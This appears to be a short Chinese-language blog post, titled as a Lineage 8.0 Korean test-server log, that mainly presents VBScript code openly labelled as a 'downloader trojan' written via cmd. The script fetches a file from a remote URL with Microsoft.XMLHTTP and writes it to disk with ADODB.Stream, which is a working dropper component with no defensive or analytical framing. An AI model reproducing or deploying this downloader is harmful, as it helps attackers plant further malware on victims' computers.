Lineage天堂8.0韓測紀錄

共勉之，加油!!新團隊新氣象

cmd寫入vb語言下載者木馬

Sub download(url,target)
 iLocal=LCase(Wscript.Arguments(1))
 iRemote=LCase(Wscript.Arguments(0))
 Set xPost=createObject("Microsoft.XMLHTTP")
 xPost.Open "GET",iRemote,0
 xPost.Send()
 set sGet=createObject("ADODB.Stream")
 sGet.Mode=3
 sGet.Type=1
 sGet.Open()
 sGet.Write xPost.ResponseBody
 sGet.SaveToFile iLocal,2
End Sub